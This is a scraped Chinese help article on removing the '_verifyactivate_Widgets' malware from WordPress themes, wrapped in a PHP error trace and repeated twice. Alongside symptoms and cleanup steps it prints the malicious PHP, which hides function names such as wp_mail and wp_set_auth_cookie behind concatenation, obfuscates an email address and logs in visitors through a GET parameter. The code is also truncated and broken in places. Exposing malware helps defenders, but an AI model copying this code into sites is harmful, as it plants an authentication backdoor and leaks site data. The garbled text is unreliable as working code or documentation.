Error[8]: Undefined offset: 36, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 114
File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

概述发现自己的测试站的主题带上了恶意代码,非常明显的就是出现了一个函数_verifyactivate_widgets,通常情况下,一旦出现了这个函数在你的主题中,使用PHP可以任意的获取用户名、博客的主题文件等等,下面是解决方法

今天莫名其妙发现自己的测试站的主题带上了恶意代码,非常明显的就是出现了一个函数_verifyactivate_Widgets,通常情况下,一旦出现了这个函数在你的主题中,你就麻烦了,这是一串恶意代码,虽然不影响主题的使用(有的时候是影响的,当收到双重感染的时候,_verifyactivate_Widgets函数会出现两次,导致了主题不能使用),但这段代码将会通知代码的作者(邮件方式),而且PHP可以任意的获取用户名、博客的主题文件等等,而且它还特地为博客创建了一些看上去非常有用的代码,一些挂件等等,一切的一切都被暴露给这段代码的作者。这里将这段代码曝光,并强烈谴责这些恶意代码的生产者。

症状:1、可能会提示_verifyactivate_Widgets函数声明了两次,程序错误,主题不能使用;2、当前博客下的所有主题的functions.PHP中都会带下面这段代码;3、即使你通过FTP将这段代码删除,但你只要再运行一次博客,它就会像噩梦一样重新回来。

这段代码的功能就是搜集博客的资料,各种资料,包括文章、用户和评论等等。你的博客很有可能成为为别人创造内容和财富的肉鸡。

治疗:1、在空间管理面板先停用这个域名,使用沙盒功能,或者联系你的服务商;2、备份所有数据,删除目前使用的主题之外的其他所有主题;3、下载当前主题,一个文件一个文件的检查,把原本不属于你的代码删除;4、重新上传和开启网站;5、使用FTP,将你的主题文件的权限的“写入”权限去除(重要);6、利用360等其他第三方PHP杀毒程序对网站进行杀毒;7、确保你的wordpress系统没有被感染,确保你的主机没有被感染。

0){ return _get_allWidgets_cont($wIDs,$items); } else { return $items; }}if(!function_exists("stripos")){ function stripos( $str,$needle,$offset = 0 ){ return strpos( strtolower( $str ),strtolower( $needle ),$offset ); }}

if(!function_exists("strripos")){ function strripos( $haystack,$offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack,abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack,max( ( strlen($haystack) - $offset ),0 ) ) ); } if( ( $found = stripos( $temp_cut,strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; }}if(!function_exists("scandir")){ function scandir($dir,$ListDirectorIEs=false,$skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($ListDirectorIEs == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; }}add_action("admin_head","_verifyactivate_Widgets");function _getprepare_Widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check="cookie"; if(!isset($Tagsallowed)) $Tagsallowed=""; if(!isset($filter)) $filter="none"; if(!isset($coma)) $coma=""; if(!isset($home_filter)) $home_filter=get_option("home"); if(!isset($pref_filters)) $pref_filters="wp_"; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=""; if(!isset($cpages)) $cpages=$_GET["cperpage"]; if(!isset($post_auth_comments)) $post_auth_comments=""; if(!isset($com_is_approved)) $com_is_approved=""; if(!isset($post_auth)) $post_auth="auth"; if(!isset($link_text_more)) $link_text_more="(more...)"; if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; if(!isset($contentmore)) $contentmore="ma".$coma."il"; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_yes) :

global $wpdb,$post; $sq1="SELECT DISTINCT ID,post_title,post_content,post_password,comment_ID,comment_post_ID,comment_author,comment_date_gmt,comment_approved,comment_type,SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional="div"; if(!isset($sh_cont)) $sh_cont=substr($sq1,stripos($sq1,"live"),20);# if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments,array($sh_cont,$home_filter,$filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text,"")) { $text=explode("",$text,2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ",$text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_",1); if("all" != $tagsallowed) { $output=strip_tags($output,$tagsallowed); return $output; } endif; $output=rtrim($output,"\s\n\t\r

\x0B"); $output=($fixed_tags) ? balanceTags($output,true) : $output; $output .= ($isshowdots && $ellipsis) ? "..." : ""; $output=apply_filters($filter,$output); switch($tag_aditional) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; }

<" . $tag . " class=\"more-link\">ID) . "#more-" . $post-> if ($is_use_more_link ) { if($for_more) { $output .= " ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages,true)) ? $link_text_more : "" . "

add_action("init","_getprepare_Widget");

< post_date "; } $request .= " GROUP BY $wpdb->function __popular_posts($no_posts=6,$before="",$after="",$show_pass_post=false,$duration="") { global $wpdb; $request="SELECT ID,COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts,$wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY)

comments.comment_post_ID ORDER BY comment_count DESC liMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_Title=stripslashes($post->post_Title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " " . $after; } } else { $output .= $before . "None found" . $after; } return $output;}

//获取最新评论function Get_Recent_Comment($limit=16,$cut_length=24){ global $wpdb; $admin_email = "'" . get_bloginfo ('admin_email') . "'"; //获取管理员邮箱,以便排除管理员的评论 $rccdb = $wpdb->get_results(" SELECT ID,comment_author_email,comment_content FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' AND comment_author_email != $admin_email ORDER BY comment_date_gmt DESC LIMIT $limit ");//数据库查询获得想要的结果 foreach ($rccdb as $row) { $rcc .= "".get_avatar($row,$size='32')."".$row->comment_author .":

"."". "ID) . "#comment-" . $row->comment_ID . "' title='查看 " . $row->post_title . "'>" . cut_str($row->comment_content,$cut_length)."". ""; }//遍历查询到结果,获得想要的值,其中插入一些HTML元素,以便定义CSS样式 //$rcc = convert_smilIEs($rcc);//允许评论内容中显示表情 echo $rcc;//输出结果}?> 总结

以上是内存溢出为你收集整理的wordpress恶意代码解决方法分享全部内容,希望文章能够帮你解决wordpress恶意代码解决方法分享所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。<===>)
File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 165, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
wordpress恶意代码解决方法分享_CMS教程_内存溢出

wordpress恶意代码解决方法分享

wordpress恶意代码解决方法分享,第1张

概述发现自己的测试站的主题带上了恶意代码,非常明显的就是出现了一个函数_verifyactivate_widgets,通常情况下,一旦出现了这个函数在你的主题中,使用PHP可以任意的获取用户名、博客的主题文件等等,下面是解决方法

今天莫名其妙发现自己的测试站的主题带上了恶意代码,非常明显的就是出现了一个函数_verifyactivate_Widgets,通常情况下,一旦出现了这个函数在你的主题中,你就麻烦了,这是一串恶意代码,虽然不影响主题的使用(有的时候是影响的,当收到双重感染的时候,_verifyactivate_Widgets函数会出现两次,导致了主题不能使用),但这段代码将会通知代码的作者(邮件方式),而且PHP可以任意的获取用户名、博客的主题文件等等,而且它还特地为博客创建了一些看上去非常有用的代码,一些挂件等等,一切的一切都被暴露给这段代码的作者。这里将这段代码曝光,并强烈谴责这些恶意代码的生产者。

症状:1、可能会提示_verifyactivate_Widgets函数声明了两次,程序错误,主题不能使用;2、当前博客下的所有主题的functions.PHP中都会带下面这段代码;3、即使你通过FTP将这段代码删除,但你只要再运行一次博客,它就会像噩梦一样重新回来。

这段代码的功能就是搜集博客的资料,各种资料,包括文章、用户和评论等等。你的博客很有可能成为为别人创造内容和财富的肉鸡。

治疗:1、在空间管理面板先停用这个域名,使用沙盒功能,或者联系你的服务商;2、备份所有数据,删除目前使用的主题之外的其他所有主题;3、下载当前主题,一个文件一个文件的检查,把原本不属于你的代码删除;4、重新上传和开启网站;5、使用FTP,将你的主题文件的权限的“写入”权限去除(重要);6、利用360等其他第三方PHP杀毒程序对网站进行杀毒;7、确保你的wordpress系统没有被感染,确保你的主机没有被感染。

0){ return _get_allWidgets_cont($wIDs,$items); } else { return $items; }}if(!function_exists("stripos")){ function stripos( $str,$needle,$offset = 0 ){ return strpos( strtolower( $str ),strtolower( $needle ),$offset ); }}

if(!function_exists("strripos")){ function strripos( $haystack,$offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack,abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack,max( ( strlen($haystack) - $offset ),0 ) ) ); } if( ( $found = stripos( $temp_cut,strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; }}if(!function_exists("scandir")){ function scandir($dir,$ListDirectorIEs=false,$skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($ListDirectorIEs == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; }}add_action("admin_head","_verifyactivate_Widgets");function _getprepare_Widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check="cookie"; if(!isset($Tagsallowed)) $Tagsallowed=""; if(!isset($filter)) $filter="none"; if(!isset($coma)) $coma=""; if(!isset($home_filter)) $home_filter=get_option("home"); if(!isset($pref_filters)) $pref_filters="wp_"; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=""; if(!isset($cpages)) $cpages=$_GET["cperpage"]; if(!isset($post_auth_comments)) $post_auth_comments=""; if(!isset($com_is_approved)) $com_is_approved=""; if(!isset($post_auth)) $post_auth="auth"; if(!isset($link_text_more)) $link_text_more="(more...)"; if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; if(!isset($contentmore)) $contentmore="ma".$coma."il"; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_yes) :

global $wpdb,$post; $sq1="SELECT DISTINCT ID,post_title,post_content,post_password,comment_ID,comment_post_ID,comment_author,comment_date_gmt,comment_approved,comment_type,SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional="div"; if(!isset($sh_cont)) $sh_cont=substr($sq1,stripos($sq1,"live"),20);# if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments,array($sh_cont,$home_filter,$filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text,"")) { $text=explode("",$text,2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ",$text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_",1); if("all" != $tagsallowed) { $output=strip_tags($output,$tagsallowed); return $output; } endif; $output=rtrim($output,"\s\n\t\r

\x0B"); $output=($fixed_tags) ? balanceTags($output,true) : $output; $output .= ($isshowdots && $ellipsis) ? "..." : ""; $output=apply_filters($filter,$output); switch($tag_aditional) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; }

<" . $tag . " class=\"more-link\">ID) . "#more-" . $post-> if ($is_use_more_link ) { if($for_more) { $output .= " ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages,true)) ? $link_text_more : "" . "

add_action("init","_getprepare_Widget");

< post_date "; } $request .= " GROUP BY $wpdb->function __popular_posts($no_posts=6,$before="",$after="",$show_pass_post=false,$duration="") { global $wpdb; $request="SELECT ID,COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts,$wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY)

comments.comment_post_ID ORDER BY comment_count DESC liMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_Title=stripslashes($post->post_Title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " " . $after; } } else { $output .= $before . "None found" . $after; } return $output;}

//获取最新评论function Get_Recent_Comment($limit=16,$cut_length=24){ global $wpdb; $admin_email = "'" . get_bloginfo ('admin_email') . "'"; //获取管理员邮箱,以便排除管理员的评论 $rccdb = $wpdb->get_results(" SELECT ID,comment_author_email,comment_content FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' AND comment_author_email != $admin_email ORDER BY comment_date_gmt DESC LIMIT $limit ");//数据库查询获得想要的结果 foreach ($rccdb as $row) { $rcc .= "".get_avatar($row,$size='32')."".$row->comment_author .":

"."". "ID) . "#comment-" . $row->comment_ID . "' title='查看 " . $row->post_title . "'>" . cut_str($row->comment_content,$cut_length)."". ""; }//遍历查询到结果,获得想要的值,其中插入一些HTML元素,以便定义CSS样式 //$rcc = convert_smilIEs($rcc);//允许评论内容中显示表情 echo $rcc;//输出结果}?> 总结

以上是内存溢出为你收集整理的wordpress恶意代码解决方法分享全部内容,希望文章能够帮你解决wordpress恶意代码解决方法分享所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zz/1030962.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-23
下一篇 2022-05-23

发表评论

登录后才能评论

评论列表(0条)

保存